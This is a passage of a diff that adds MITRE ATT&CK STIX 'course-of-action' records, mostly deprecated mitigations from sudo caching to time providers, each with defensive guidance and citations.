"2019-07-25T12:01:13.198Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Standard Non-Application Layer Protocol Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935", + "external_references": [ + { + "external_id": "T1095", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1095" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T12:01:33.997Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.", + "type": "course-of-action", + "name": "Startup Items Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719", + "external_references": [ + { + "external_id": "T1165", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1165" + } + ], + "modified": "2019-07-25T12:01:55.766Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", + "type": "course-of-action", + "name": "Stored Data Manipulation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615", + "external_references": [ + { + "external_id": "T1492", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1492" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + } + ], + "modified": "2019-07-25T12:02:27.102Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-24T17:02:25.107Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "type": "course-of-action", + "name": "Sudo Caching Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--dbf0186e-722d-4a0a-af6a-b3460f162f84", + "external_references": [ + { + "external_id": "T1206", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1206" + } + ], + "modified": "2019-07-25T12:02:48.931Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "type": "course-of-action", + "name": "Sudo Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", + "external_references": [ + { + "external_id": "T1169", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1169" + } + ], + "modified": "2019-07-25T12:03:12.876Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n\n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle\n\nA patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)", + "type": "course-of-action", + "name": "Supply Chain Compromise Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61", + "external_references": [ + { + "external_id": "T1195", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1195" + }, + { + "source_name": "MITRE SE Guide 2014", + "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.", + "url": "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf" + }, + { + "source_name": "NIST Supply Chain 2012", + "description": "Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.", + "url": "http://dx.doi.org/10.6028/NIST.IR.7622" + }, + { + "source_name": "OWASP Top 10 2017", + "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.", + "url": "https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" + } + ], + "modified": "2019-07-25T12:04:31.644Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)", + "type": "course-of-action", + "name": "System Firmware Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6", + "external_references": [ + { + "external_id": "T1019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1019" + }, + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + } + ], + "modified": "2019-07-25T12:06:06.231Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "System Information Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67", + "external_references": [ + { + "external_id": "T1082", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1082" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:24:30.940Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "System Network Configuration Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40", + "external_references": [ + { + "external_id": "T1016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1016" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:24:53.003Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "System Network Connections Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39", + "external_references": [ + { + "external_id": "T1049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1049" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:25:12.692Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "System Owner/User Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44", + "external_references": [ + { + "external_id": "T1033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1033" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:25:31.766Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "System Service Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2", + "external_references": [ + { + "external_id": "T1007", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1007" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:25:53.182Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "System Time Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307", + "external_references": [ + { + "external_id": "T1124", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1124" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:26:15.250Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services. ", + "type": "course-of-action", + "name": "Systemd Service Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--83130e62-bca6-4a81-bd4b-8e233bd49db6", + "external_references": [ + { + "external_id": "T1501", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1501" + } + ], + "modified": "2019-07-25T12:26:37.946Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-23T20:33:09.318Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Taint Shared Content Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018", + "external_references": [ + { + "external_id": "T1080", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1080" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:26:58.596Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)", + "type": "course-of-action", + "name": "Template Injection Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314", + "external_references": [ + { + "external_id": "T1221", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1221" + }, + { + "source_name": "Microsoft Disable Macros", + "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", + "url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" + }, + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ], + "modified": "2019-07-25T12:27:19.577Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.\n\nGrant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nEnsure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.\n\nWhere the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "type": "course-of-action", + "name": "Third-party Software Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930", + "external_references": [ + { + "external_id": "T1072", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1072" + } + ], + "modified": "2019-07-25T12:27:40.782Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", + "type": "course-of-action", + "name": "Threat Intelligence Program", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", + "external_references": [ + { + "external_id": "M1019", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1019" + } + ], + "modified": "2019-06-06T19:55:50.927Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T19:55:50.927Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)", + "type": "course-of-action", + "name": "Time Providers Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166", + "external_references": [ + { + "external_id": "T1209", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1209" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": 